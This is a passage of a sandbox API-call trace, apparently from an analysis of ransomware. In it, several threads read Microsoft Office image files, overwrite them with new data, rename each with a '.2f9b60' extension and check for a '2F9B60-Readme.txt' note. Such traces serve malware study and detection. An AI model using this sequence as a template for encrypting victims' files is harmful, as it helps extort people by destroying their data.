returned 1 [0143.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0143.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0143.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0143.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0143.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6c0) returned 1 [0143.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe230) returned 1 [0143.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119170 [0143.513] wcscpy (in: _Dest=0x119170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" [0143.513] wcscat (in: _Dest=0x119170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.2f9b60" [0143.513] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.2f9b60", NtPathName=0x2acdf7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799250 [0143.514] NtSetInformationFile (FileHandle=0x1fb8, IoStatusBlock=0x2acdf870, FileInformation=0x1b799250, Length=0xdc, FileInformationClass=0xa) returned 0x0 [0145.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 [0145.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf479b0) returned 1 [0145.321] NtQueryInformationFile (in: FileHandle=0x1fb8, IoStatusBlock=0x2acdf838, FileInformation=0x2acdf848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2acdf838, FileInformation=0x2acdf848) returned 0x0 [0145.321] NtSetInformationFile (FileHandle=0x1fb8, IoStatusBlock=0x2acdf838, FileInformation=0x2acdf848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 [0145.324] FlushFileBuffers (hFile=0x1fb8) returned 1 [0145.328] CloseHandle (hObject=0x1fb8) returned 1 [0145.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202add90 [0145.331] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.331] wcscat (in: _Dest=0x202add90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0147.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279af0) returned 1 Thread: id = 1848 os_tid = 0xed8 [0133.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg")) returned 0x20 [0135.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg", dwFileAttributes=0x20) returned 1 [0138.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc4 [0144.184] GetFileSizeEx (in: hFile=0x1fc4, lpFileSize=0x2b19fa00 | out: lpFileSize=0x2b19fa00*=775) returned 1 [0144.184] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x303, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.184] ReadFile (in: hFile=0x1fc4, lpBuffer=0x2b19f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b19f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2b19f980*, lpNumberOfBytesRead=0x2b19f9c8*=0x4, lpOverlapped=0x0) returned 1 [0144.243] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264320 [0144.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202657c0 [0144.244] NtQuerySystemTime (in: CurrentTime=0x2b19f8c0 | out: CurrentTime=0x2b19f8c0*=132462177494866000) returned 0x0 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x23db1711 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x41bcdd8f [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x625d692a [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x14afab9e [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0xee068d9 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x5e57254c [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x404a20ab [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x47d341ee [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x7f288e5d [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x5d91f3ba [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x6f5432f1 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x2dc8bc4d [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x7870db93 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x6ee02f18 [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x166418fd [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x48ae075a [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x4cee470f [0144.244] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x6afd4dba [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x4bca88b [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x646311cd [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x2f200162 [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x2c634a22 [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x2b86720b [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x73255cfd [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x68057bd3 [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x43f5da4e [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x2a46be2f [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x30fd555d [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x190ad729 [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x11af747c [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x17ab25de [0144.245] RtlRandomEx (in: Seed=0x2b19f8b0 | out: Seed=0x2b19f8b0) returned 0x773449e6 [0144.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0144.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0144.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0144.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0144.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202657c0) returned 1 [0144.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0144.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0144.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0144.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4229f200 [0144.257] ReadFile (in: hFile=0x1fc4, lpBuffer=0x4227d570, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x2b19f8b0, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesRead=0x2b19f8b0*=0x307, lpOverlapped=0x0) returned 1 [0144.257] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.257] WriteFile (in: hFile=0x1fc4, lpBuffer=0x4229f200*, nNumberOfBytesToWrite=0x307, lpNumberOfBytesWritten=0x2b19f8b4, lpOverlapped=0x0 | out: lpBuffer=0x4229f200*, lpNumberOfBytesWritten=0x2b19f8b4*=0x307, lpOverlapped=0x0) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264740 [0144.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0144.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0144.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4229f200) returned 1 [0144.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0144.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0144.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0144.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059a10 [0144.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0144.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0144.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0144.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f60 [0144.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0144.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0144.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645f0) returned 1 [0144.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0144.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1b7d3a20 [0144.324] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.324] WriteFile (in: hFile=0x1fc4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2b19f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2b19f9d0*=0x126, lpOverlapped=0x0) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264740) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0144.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0144.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118fd0 [0144.352] wcscpy (in: _Dest=0x118fd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" [0144.352] wcscat (in: _Dest=0x118fd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.2f9b60" [0144.352] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.2f9b60", NtPathName=0x2b19f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776cb0 [0144.352] NtSetInformationFile (FileHandle=0x1fc4, IoStatusBlock=0x2b19fa90, FileInformation=0x1b776cb0, Length=0xd8, FileInformationClass=0xa) returned 0x0 [0146.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0146.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0146.888] NtQueryInformationFile (in: FileHandle=0x1fc4, IoStatusBlock=0x2b19fa58, FileInformation=0x2b19fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b19fa58, FileInformation=0x2b19fa68) returned 0x0 [0146.888] NtSetInformationFile (FileHandle=0x1fc4, IoStatusBlock=0x2b19fa58, FileInformation=0x2b19fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0147.120] FlushFileBuffers (hFile=0x1fc4) returned 1 [0147.121] CloseHandle (hObject=0x1fc4) returned 1 [0147.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d210 [0147.126] wcscpy (in: _Dest=0x2050d210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0147.126] wcscat (in: _Dest=0x2050d210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0147.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0147.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278170) returned 1 Thread: id = 1849 os_tid = 0xedc [0133.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg")) returned 0x20 [0135.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg", dwFileAttributes=0x20) returned 1 [0137.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee4 [0140.329] GetFileSizeEx (in: hFile=0x1ee4, lpFileSize=0x2a7afdc0 | out: lpFileSize=0x2a7afdc0*=872) returned 1 [0140.329] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.329] ReadFile (in: hFile=0x1ee4, lpBuffer=0x2a7afd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a7afd88, lpOverlapped=0x0 | out: lpBuffer=0x2a7afd40*, lpNumberOfBytesRead=0x2a7afd88*=0x4, lpOverlapped=0x0) returned 1 [0140.347] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0140.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0140.347] NtQuerySystemTime (in: CurrentTime=0x2a7afc80 | out: CurrentTime=0x2a7afc80*=132462177455866000) returned 0x0 [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x234be456 [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x436c0c9b [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x49eea228 [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x49fae20c [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x23456ea8 [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0xe3106fe [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x4465d639 [0140.347] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x4b283373 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x5de3744 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x192ef32a [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x66d101d3 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x41812001 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x1551c48f [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x1f615276 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x52ba1950 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0xffcc669 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x38274570 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x42671cd4 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0xd3d1ddc [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x328e22a0 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x57e76d22 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x4075815f [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x4159ce8d [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x1fea9aa7 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x760cdd97 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x6d3df61a [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x40ba001b [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0xdfe1dd5 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x6715ea93 [0140.348] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x14b7c0db [0140.349] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x6fd179d6 [0140.349] RtlRandomEx (in: Seed=0x2a7afc70 | out: Seed=0x2a7afc70) returned 0x72ad456e [0140.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0140.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0140.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0140.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0140.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0140.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0140.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0140.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f01c0 [0140.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f3dd0 [0140.360] ReadFile (in: hFile=0x1ee4, lpBuffer=0x421f01c0, nNumberOfBytesToRead=0x368, lpNumberOfBytesRead=0x2a7afc70, lpOverlapped=0x0 | out: lpBuffer=0x421f01c0*, lpNumberOfBytesRead=0x2a7afc70*=0x368, lpOverlapped=0x0) returned 1 [0140.360] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.360] WriteFile (in: hFile=0x1ee4, lpBuffer=0x421f3dd0*, nNumberOfBytesToWrite=0x368, lpNumberOfBytesWritten=0x2a7afc74, lpOverlapped=0x0 | out: lpBuffer=0x421f3dd0*, lpNumberOfBytesWritten=0x2a7afc74*=0x368, lpOverlapped=0x0) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0141.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0141.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0141.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f3dd0) returned 1 [0141.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f01c0) returned 1 [0141.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda07f0 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0141.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda0830 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0141.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0141.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b7d3a20 [0141.108] 